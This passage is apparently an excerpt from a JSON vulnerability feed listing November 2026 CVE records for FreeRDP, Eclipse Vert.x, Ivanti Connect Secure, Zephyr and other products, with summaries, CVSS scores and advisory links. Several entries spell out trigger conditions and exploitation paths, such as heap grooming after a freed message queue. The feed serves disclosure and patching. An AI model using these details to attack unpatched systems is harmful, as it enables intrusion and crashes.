process.","published_time":"2026-11-03T14:28:01","cvss":8.2,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-v3q2-qjvf-7rqw","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-use-after-free-via-dyn-channel-dump-module"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121389","summary":"FreeRDP from 3.27.0 before 3.32.2 contains a denial of service vulnerability in rdpdr_dump_packet that allows malicious RDP servers to abort clients by sending malformed RDPDR device-list announcements. Attackers can declare a DeviceDataLength exceeding the received packet, triggering a fatal Stream_Seek assertion when device redirection, TRACE logging, and WinPR assertions are enabled.","cvss":2.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.1,"cvss_v4":2.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-66mr-7wc7-23vc","https://www.vulncheck.com/advisories/freerdp-3.27.0-before-3.32.2-client-dos-via-rdpdr-device-announcement-logging","https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-66mr-7wc7-23vc"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:26","euvd":{"id":"EUVD-2026-115921","description":"FreeRDP from 3.27.0 before 3.32.2 contains a denial of service vulnerability in rdpdr_dump_packet that allows malicious RDP servers to abort clients by sending malformed RDPDR device-list announcements. Attackers can declare a DeviceDataLength exceeding the received packet, triggering a fatal Stream_Seek assertion when device redirection, TRACE logging, and WinPR assertions are enabled.","published_time":"2026-11-03T14:27:55","cvss":2.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-66mr-7wc7-23vc","https://www.vulncheck.com/advisories/freerdp-3.27.0-before-3.32.2-client-dos-via-rdpdr-device-announcement-logging"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121390","summary":"FreeRDP 3.0.0 before 3.32.2 built with WITH_AAD=ON contains a reachable assertion because its ARM gateway response parser accepts a missing or non-string redirectedServerCert field and passes a null buffer to the certificate parser. A malicious or malformed user-selected gateway can return such a response to abort the client process.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-hqf8-95c7-6r92","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-null-pointer-crash-via-arm-gateway-response"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:26","euvd":{"id":"EUVD-2026-115922","description":"FreeRDP 3.0.0 before 3.32.2 built with WITH_AAD=ON contains a reachable assertion because its ARM gateway response parser accepts a missing or non-string redirectedServerCert field and passes a null buffer to the certificate parser. A malicious or malformed user-selected gateway can return such a response to abort the client process.","published_time":"2026-11-03T14:27:56","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-hqf8-95c7-6r92","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-null-pointer-crash-via-arm-gateway-response"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121391","summary":"FreeRDP from 3.0.0 before 3.32.2 contains a file descriptor leak in parallel_process_irp_create that fails to close previous descriptors on repeated IRP_MJ_CREATE requests. A hostile RDP server with parallel-device redirection enabled can send repeated CREATE requests to exhaust the client descriptor table and crash the process.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-8g9g-hqqp-fw69","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-file-descriptor-exhaustion-via-parallel-create"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:26","euvd":{"id":"EUVD-2026-115923","description":"FreeRDP from 3.0.0 before 3.32.2 contains a file descriptor leak in parallel_process_irp_create that fails to close previous descriptors on repeated IRP_MJ_CREATE requests. A hostile RDP server with parallel-device redirection enabled can send repeated CREATE requests to exhaust the client descriptor table and crash the process.","published_time":"2026-11-03T14:27:57","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-8g9g-hqqp-fw69","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-file-descriptor-exhaustion-via-parallel-create"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121392","summary":"FreeRDP before 3.32.2 contains an improper certificate validation vulnerability in tls_verify_certificate() that accepts Common Name fallback despite non-matching SAN entries and matches IP literals against DNS strings. Man-in-the-middle attackers holding a certificate from a client-trusted CA can bypass server identity checks to intercept RDP sessions, including keystrokes, clipboard, and screen content.","cvss":9.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.4,"cvss_v4":9.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-jq25-3374-4262","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-certificate-identity-validation-bypass-via-tls-verify-certificate"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:26","euvd":{"id":"EUVD-2026-115924","description":"FreeRDP before 3.32.2 contains an improper certificate validation vulnerability in tls_verify_certificate() that accepts Common Name fallback despite non-matching SAN entries and matches IP literals against DNS strings. Man-in-the-middle attackers holding a certificate from a client-trusted CA can bypass server identity checks to intercept RDP sessions, including keystrokes, clipboard, and screen content.","published_time":"2026-11-03T14:27:57","cvss":9.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-jq25-3374-4262","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-certificate-identity-validation-bypass-via-tls-verify-certificate"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121393","summary":"FreeRDP from 3.0.0 before 3.32.2 contains a denial of service vulnerability that allows malicious RDP servers to abort clients built with verbose WinPR assertions by sending crafted RemoteFX region rectangles. Attackers can supply a rectangle with x set to 65535 alongside a SurfaceBits destination left of 1, triggering a 16-bit coordinate assertion in rfx_process_message that terminates the client process.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-7qw2-8h66-pvpw","https://www.vulncheck.com/advisories/freerdp-3.0.0-before-3.32.2-denial-of-service-via-remotefx-region-assertion","https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-7qw2-8h66-pvpw"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:26","euvd":{"id":"EUVD-2026-115925","description":"FreeRDP from 3.0.0 before 3.32.2 contains a denial of service vulnerability that allows malicious RDP servers to abort clients built with verbose WinPR assertions by sending crafted RemoteFX region rectangles. Attackers can supply a rectangle with x set to 65535 alongside a SurfaceBits destination left of 1, triggering a 16-bit coordinate assertion in rfx_process_message that terminates the client process.","published_time":"2026-11-03T14:27:58","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-7qw2-8h66-pvpw","https://www.vulncheck.com/advisories/freerdp-3.0.0-before-3.32.2-denial-of-service-via-remotefx-region-assertion"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121386","summary":"FreeRDP before 3.32.2 contains a denial of service vulnerability in WinPR's winpr_read_png_from_buffer() and winpr_convert_from_jpeg(), which lack libpng/libjpeg error handling. A malicious RDP server or MITM can offer a malformed PNG or truncated JPEG clipboard payload, causing the client to abort or exit.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-799q-hjgw-g55g","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-winpr-png-jpeg-image-readers"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:25","euvd":{"id":"EUVD-2026-115918","description":"FreeRDP before 3.32.2 contains a denial of service vulnerability in WinPR's winpr_read_png_from_buffer() and winpr_convert_from_jpeg(), which lack libpng/libjpeg error handling. A malicious RDP server or MITM can offer a malformed PNG or truncated JPEG clipboard payload, causing the client to abort or exit.","published_time":"2026-11-03T14:27:53","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-799q-hjgw-g55g","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-winpr-png-jpeg-image-readers"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121387","summary":"FreeRDP 2.0.0 before 3.32.2 contains an out-of-bounds read vulnerability in freerdp_dsp_decode_gsm610 that allows malicious RDP servers to read past audio buffers by sending truncated GSM610 frames. Attackers can negotiate GSM610 on rdpsnd and send a WAVE2 message shorter than a 33- or 32-byte WAV49 frame to crash the client.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-wg7g-gx9g-r96c","https://www.vulncheck.com/advisories/freerdp-2.0.0-before-3.32.2-out-of-bounds-read-via-gsm610-wav49-decoder"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:25","euvd":{"id":"EUVD-2026-115919","description":"FreeRDP 2.0.0 before 3.32.2 contains an out-of-bounds read vulnerability in freerdp_dsp_decode_gsm610 that allows malicious RDP servers to read past audio buffers by sending truncated GSM610 frames. Attackers can negotiate GSM610 on rdpsnd and send a WAVE2 message shorter than a 33- or 32-byte WAV49 frame to crash the client.","published_time":"2026-11-03T14:27:54","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-wg7g-gx9g-r96c","https://www.vulncheck.com/advisories/freerdp-2.0.0-before-3.32.2-out-of-bounds-read-via-gsm610-wav49-decoder"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121388","summary":"FreeRDP from 3.0.0 before 3.32.2 contains an uncontrolled resource allocation vulnerability that allows malicious RDP servers to force large client allocations through the DRDYNVC DATA_FIRST Length field. Attackers can declare lengths up to 4,294,967,295 bytes on running dynamic channels, causing StreamPool_Take to reserve memory before body validation and exhaust client memory.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-rrp5-666j-g6gp","https://www.vulncheck.com/advisories/freerdp-3.0.0-before-3.32.2-uncapped-memory-allocation-via-drdynvc-data-first"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:25","euvd":{"id":"EUVD-2026-115920","description":"FreeRDP from 3.0.0 before 3.32.2 contains an uncontrolled resource allocation vulnerability that allows malicious RDP servers to force large client allocations through the DRDYNVC DATA_FIRST Length field. Attackers can declare lengths up to 4,294,967,295 bytes on running dynamic channels, causing StreamPool_Take to reserve memory before body validation and exhaust client memory.","published_time":"2026-11-03T14:27:55","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-rrp5-666j-g6gp","https://www.vulncheck.com/advisories/freerdp-3.0.0-before-3.32.2-uncapped-memory-allocation-via-drdynvc-data-first"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-118488","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.35] or [5.0.0, 5.2.2], when a malicious server keeps sending bytes on an EOL-terminated line (not length-prefixed, for example a simple string [1]), we'll keep growing the buffer without bounds, eventually leading to an OOM. We need to have a configurable limit for EOL-terminated lines.\n\n\n\nIf a malicious server sends a specially crafted RESP response (for example a bulk string [2] with missing CRLF trailer), the parser enters an infinite loop where it keeps parsing the same buffer and pushing the same response to the caller, which may lead e.g. to an OOM if the consumer just buffers the responses. We must fix the parser to avoid this infinite looping.","cvss":5.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/vert-x3/vertx-redis-client/security/advisories/GHSA-7f58-g87w-gx7p","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/522","https://github.com/vert-x3/vertx-redis-client/security/advisories/GHSA-7f58-g87w-gx7p"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:24","euvd":{"id":"EUVD-2026-115881","description":"In Eclipse Vert.x versions [4.0.0, 4.5.35] or [5.0.0, 5.2.2], when a malicious server keeps sending bytes on an EOL-terminated line (not length-prefixed, for example a simple string [1]), we'll keep growing the buffer without bounds, eventually leading to an OOM. We need to have a configurable limit for EOL-terminated lines.\n\n\n\nIf a malicious server sends a specially crafted RESP response (for example a bulk string [2] with missing CRLF trailer), the parser enters an infinite loop where it keeps parsing the same buffer and pushing the same response to the caller, which may lead e.g. to an OOM if the consumer just buffers the responses. We must fix the parser to avoid this infinite looping.","published_time":"2026-11-03T15:13:17","cvss":5.9,"cvss_version":"3.1","epss":0.0,"assigner":"eclipse","references":["https://github.com/vert-x3/vertx-redis-client/security/advisories/GHSA-7f58-g87w-gx7p","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/522"],"products":["Eclipse Vert.x","Eclipse Vert.x"],"vendors":["Eclipse Foundation"]},"ghsa":null},{"cve_id":"CVE-2026-118489","summary":"In Eclipse Vert.x versions [4.0.0,4.5.35] or [5.0.0,5.2.2], when one `CachingWebClient` is shared across users — the documented pattern of a per-user `WebClientSession` over a shared caching client — a response that is specific to one user but is cacheable and not marked `private`/`no-store` is stored in the client-level shared cache tier and served to other users requesting the same URL. A later user's session, or an anonymous caller through the same client, can receive an earlier user's response. Depending on the response this discloses authenticated content or a session cookie, the latter enabling session fixation or hijacking.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/vert-x3/vertx-web/security/advisories/GHSA-xh2g-9hw9-mvp3","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/523"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:24","euvd":{"id":"EUVD-2026-115873","description":"In Eclipse Vert.x versions [4.0.0,4.5.35] or [5.0.0,5.2.2], when one `CachingWebClient` is shared across users — the documented pattern of a per-user `WebClientSession` over a shared caching client — a response that is specific to one user but is cacheable and not marked `private`/`no-store` is stored in the client-level shared cache tier and served to other users requesting the same URL. A later user's session, or an anonymous caller through the same client, can receive an earlier user's response. Depending on the response this discloses authenticated content or a session cookie, the latter enabling session fixation or hijacking.","published_time":"2026-11-03T14:55:48","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"eclipse","references":["https://github.com/vert-x3/vertx-web/security/advisories/GHSA-xh2g-9hw9-mvp3","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/523"],"products":["Eclipse Vert.x","Eclipse Vert.x"],"vendors":["Eclipse Foundation"]},"ghsa":null},{"cve_id":"CVE-2026-118527","summary":"Use of predictable filenames in Ivanti Connect Secure before versions 25.1.1.3 and 22.8R2.6 allows a remote authenticated attacker to upload files with attacker-controlled content to a known location on disk.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":true,"propose_action":"Ivanti Connect Secure contains a generation of predictable numbers or identifiers vulnerability that allows a remote authenticated attacker to upload files with attacker-controlled content to a known location on disk. This vulnerability can be chained with CVE-2026-104935 and CVE-2026-111357.","ransomware_campaign":"Unknown","references":["https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-118527"],"vendor":"ivanti","product":"connect_secure","version":null,"published_time":"2026-11-03T15:17:24","euvd":{"id":"EUVD-2026-115872","description":"Use of predictable filenames in Ivanti Connect Secure before versions 25.1.1.3 and 22.8R2.6 allows a remote authenticated attacker to upload files with attacker-controlled content to a known location on disk.","published_time":"2026-11-03T14:53:28","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"ivanti","references":["https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US"],"products":["Connect Secure","Connect Secure"],"vendors":["Ivanti"]},"ghsa":null},{"cve_id":"CVE-2026-118527","summary":"Use of predictable filenames in Ivanti Connect Secure before versions 25.1.1.3 and 22.8R2.6 allows a remote authenticated attacker to upload files with attacker-controlled content to a known location on disk.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":true,"propose_action":"Ivanti Connect Secure contains a generation of predictable numbers or identifiers vulnerability that allows a remote authenticated attacker to upload files with attacker-controlled content to a known location on disk. This vulnerability can be chained with CVE-2026-104935 and CVE-2026-111357.","ransomware_campaign":"Unknown","references":["https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-118527"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:24","euvd":{"id":"EUVD-2026-115872","description":"Use of predictable filenames in Ivanti Connect Secure before versions 25.1.1.3 and 22.8R2.6 allows a remote authenticated attacker to upload files with attacker-controlled content to a known location on disk.","published_time":"2026-11-03T14:53:28","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"ivanti","references":["https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US"],"products":["Connect Secure","Connect Secure"],"vendors":["Ivanti"]},"ghsa":null},{"cve_id":"CVE-2026-110265","summary":"A specially crafted malformed search query could return results from outside a user's organization. Log analysis of runZero's hosted environment found only testing of the issue and no adversary traffic. This issue was fixed in version 5.1.261013.1.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://help.runzero.com/docs/release-notes/#512610131","https://www.runzero.com/advisories/runzero-search-sqli-cve-2026-110265"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:23","euvd":{"id":"EUVD-2026-115874","description":"A specially crafted malformed search query could return results from outside a user's organization. Log analysis of runZero's hosted environment found only testing of the issue and no adversary traffic. This issue was fixed in version 5.1.261013.1.","published_time":"2026-11-03T15:05:23","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"runZero","references":["https://www.runzero.com/advisories/runzero-search-sqli-cve-2026-110265","https://help.runzero.com/docs/release-notes/#512610131"],"products":["platform"],"vendors":["runZero"]},"ghsa":null},{"cve_id":"CVE-2026-100493","summary":"An integer overflow in the DDS RGB888 loader of AMD Compressonator SDK could allow an attacker to supply a crafted DDS file that causes an undersized heap allocation and a subsequent out-of-bounds read, potentially resulting in process termination or limited disclosure of heap memory.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6032.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:19","euvd":{"id":"EUVD-2026-115880","description":"An integer overflow in the DDS RGB888 loader of AMD Compressonator SDK could allow an attacker to supply a crafted DDS file that causes an undersized heap allocation and a subsequent out-of-bounds read, potentially resulting in process termination or limited disclosure of heap memory.","published_time":"2026-11-03T15:08:46","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"AMD","references":["https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6032.html"],"products":["AMD Compressionator SDK"],"vendors":["AMD"]},"ghsa":null},{"cve_id":"CVE-2026-106991","summary":"hustoj >=24.09.10 and <=26.08.19 is vulnerable to Incorrect Access Control. Any registered user can delete, lock, or sticky any forum thread (including admins' announcements) via threadadmin.php. The thread branch only verifies login, never authorship or admin rights.","cvss":7.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/MX-Qulin/CVE-2026-106991","https://github.com/zhblue/hustoj","https://github.com/zhblue/hustoj/pull/1192"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:19","euvd":{"id":"EUVD-2026-115851","description":"hustoj >=24.09.10 and <=26.08.19 is vulnerable to Incorrect Access Control. Any registered user can delete, lock, or sticky any forum thread (including admins' announcements) via threadadmin.php. The thread branch only verifies login, never authorship or admin rights.","published_time":"2026-11-03T00:00:00","cvss":7.1,"cvss_version":"3.1","epss":0.0,"assigner":"mitre","references":["https://github.com/zhblue/hustoj","https://github.com/zhblue/hustoj/pull/1192","https://github.com/MX-Qulin/CVE-2026-106991"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-85034","summary":"The Bluetooth host's GATT client passed the value of a received Handle Value Notification, Handle Value Indication or Multiple Handle Value Notification to bt_gatt_subscribe_params::notify callbacks using only the length derived from the received ATT PDU. bt_att_recv() in subsys/bluetooth/host/att.c validates only a minimum PDU length and does not enforce the negotiated ATT MTU, and the fixed ATT L2CAP channel in subsys/bluetooth/host/l2cap.c applies no rx.mtu check either, so the only ceiling was the ACL reassembly buffer CONFIG_BT_BUF_ACL_RX_SIZE. Values longer than the 512-octet maximum attribute length defined by the Bluetooth Core Specification (Vol 3, Part F, Section 3.2.9) could therefore be handed to subscribers that size their buffers to that documented limit.\n\nA remote peer that a device has connected and subscribed to — a malicious, spoofed or compromised GATT server within radio range — triggers the flaw by sending a notification or indication whose value exceeds 512 octets on a subscribed handle. In the LE Audio unicast client this reaches a concrete out-of-bounds write: unicast_client_ep_notify() in subsys/bluetooth/audio/bap_unicast_client.c copies the notification into the 512-byte att_buf of struct unicast_client with net_buf_simple_add_mem() and no tailroom check whenever length equals bt_audio_get_max_ntf_size(), i.e. the negotiated ATT MTU minus three. notify_handler() in subsys/bluetooth/audio/bap_broadcast_assistant.c has the same shape. Reaching the overflow requires a build whose ATT MTU exceeds 515 octets (CONFIG_BT_L2CAP_TX_MTU and CONFIG_BT_BUF_ACL_RX_SIZE set for full-length attribute support); the shipped defaults are far smaller.\n\nThe overflow writes peer-controlled bytes past att_buf directly over the adjacent struct net_buf_simple net_buf — its data, __buf, len and size fields — which the subsequent long-read accumulation then uses as its destination, turning a small linear overflow into a controlled write. net_buf_simple_add() only asserts on insufficient tailroom unless CONFIG_NET_BUF_HARDENING is enabled, and that option is disabled by default, so ordinary production builds perform the copy. Beyond the in-tree LE Audio clients, any application subscriber that sized its receive buffer to the specification's 512-octet limit was exposed to the same overflow.\n\nThe fix rejects notification, indication and multiple-notification values longer than BT_ATT_MAX_ATTRIBUTE_LEN in call_notify_cb_and_maybe_unsubscribe() in subsys/bluetooth/host/gatt.c before any subscriber callback is invoked, so no subscriber can be handed more than the specified maximum. Remaining tuples of a multiple handle value notification are still delivered and oversized indications are still confirmed.","cvss":6.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.7,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/zephyrproject-rtos/zephyr/commit/64b1e7447856f635ee8bce9eab7c615da78133b8","https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-47vq-phhp-rhxq"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T14:17:39","euvd":{"id":"EUVD-2026-115822","description":"The Bluetooth host's GATT client passed the value of a received Handle Value Notification, Handle Value Indication or Multiple Handle Value Notification to bt_gatt_subscribe_params::notify callbacks using only the length derived from the received ATT PDU. bt_att_recv() in subsys/bluetooth/host/att.c validates only a minimum PDU length and does not enforce the negotiated ATT MTU, and the fixed ATT L2CAP channel in subsys/bluetooth/host/l2cap.c applies no rx.mtu check either, so the only ceiling was the ACL reassembly buffer CONFIG_BT_BUF_ACL_RX_SIZE. Values longer than the 512-octet maximum attribute length defined by the Bluetooth Core Specification (Vol 3, Part F, Section 3.2.9) could therefore be handed to subscribers that size their buffers to that documented limit.\n\nA remote peer that a device has connected and subscribed to — a malicious, spoofed or compromised GATT server within radio range — triggers the flaw by sending a notification or indication whose value exceeds 512 octets on a subscribed handle. In the LE Audio unicast client this reaches a concrete out-of-bounds write: unicast_client_ep_notify() in subsys/bluetooth/audio/bap_unicast_client.c copies the notification into the 512-byte att_buf of struct unicast_client with net_buf_simple_add_mem() and no tailroom check whenever length equals bt_audio_get_max_ntf_size(), i.e. the negotiated ATT MTU minus three. notify_handler() in subsys/bluetooth/audio/bap_broadcast_assistant.c has the same shape. Reaching the overflow requires a build whose ATT MTU exceeds 515 octets (CONFIG_BT_L2CAP_TX_MTU and CONFIG_BT_BUF_ACL_RX_SIZE set for full-length attribute support); the shipped defaults are far smaller.\n\nThe overflow writes peer-controlled bytes past att_buf directly over the adjacent struct net_buf_simple net_buf — its data, __buf, len and size fields — which the subsequent long-read accumulation then uses as its destination, turning a small linear overflow into a controlled write. net_buf_simple_add() only asserts on insufficient tailroom unless CONFIG_NET_BUF_HARDENING is enabled, and that option is disabled by default, so ordinary production builds perform the copy. Beyond the in-tree LE Audio clients, any application subscriber that sized its receive buffer to the specification's 512-octet limit was exposed to the same overflow.\n\nThe fix rejects notification, indication and multiple-notification values longer than BT_ATT_MAX_ATTRIBUTE_LEN in call_notify_cb_and_maybe_unsubscribe() in subsys/bluetooth/host/gatt.c before any subscriber callback is invoked, so no subscriber can be handed more than the specified maximum. Remaining tuples of a multiple handle value notification are still delivered and oversized indications are still confirmed.","published_time":"2026-11-03T13:36:07","cvss":6.7,"cvss_version":"3.1","epss":0.0,"assigner":"zephyr","references":["https://github.com/zephyrproject-rtos/zephyr/commit/64b1e7447856f635ee8bce9eab7c615da78133b8","https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-47vq-phhp-rhxq"],"products":["Zephyr","Zephyr"],"vendors":["zephyrproject"]},"ghsa":null},{"cve_id":"CVE-2026-85035","summary":"The can_add_rx_filter_msgq() system call installs a CAN RX filter whose callback (can_msgq_put() in drivers/can/can_common.c) is handed the caller's struct k_msgq * as user_data. The controller driver stores that raw pointer in its filter table and dereferences it from the RX path every time a matching frame arrives. The system call verifier z_vrfy_can_add_rx_filter_msgq() in drivers/can/can_handlers.c validated the queue only with K_SYSCALL_OBJ(), which is a point-in-time check of type, initialization and caller permission and says nothing about the object's lifetime.\n\nOn a build with CONFIG_USERSPACE=y and CONFIG_DYNAMIC_OBJECTS=y, an unprivileged user-mode thread that has been granted access to a CAN device can obtain a message queue whose lifetime it fully controls: k_object_alloc(K_OBJ_MSGQ) followed by k_msgq_alloc_init(). The lifetime of such an object is driven solely by its permission bitmask, and a pointer retained by the kernel is not represented there. After registering the filter, the thread calls k_object_release() — or simply terminates — and unref_check() frees the struct k_msgq storage while the CAN driver still holds the pointer.\n\nThe next matching CAN frame causes k_msgq_put() to run in supervisor context against freed memory that the attacker can have groomed with another kernel allocation: the frame payload is memcpy()d through the reused block's write_ptr, and the queue's wait_q (and poll_events under CONFIG_POLL) list nodes are manipulated. This yields kernel-heap corruption reachable from a user-mode thread, defeating the isolation CONFIG_USERSPACE is intended to provide; the same dangling pointer also arises benignly when an application thread exits without calling can_remove_rx_filter().\n\nThe fix validates the queue with K_SYSCALL_OBJ_STATIC(), which additionally rejects objects carrying K_OBJ_FLAG_ALLOC, so only statically defined queues (CAN_MSGQ_DEFINE()) may be registered from user mode. Supervisor-mode callers bypass the verifier and must themselves keep the queue valid until the filter is removed.","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/zephyrproject-rtos/zephyr/commit/0114bee266211c72a49f3b6a914d3eaf821dd460","https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-6pxv-r7ww-3g2q"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T14:17:39","euvd":{"id":"EUVD-2026-115823","description":"The can_add_rx_filter_msgq() system call installs a CAN RX filter whose callback (can_msgq_put() in drivers/can/can_common.c) is handed the caller's struct k_msgq * as user_data. The controller driver stores that raw pointer in its filter table and dereferences it from the RX path every time a 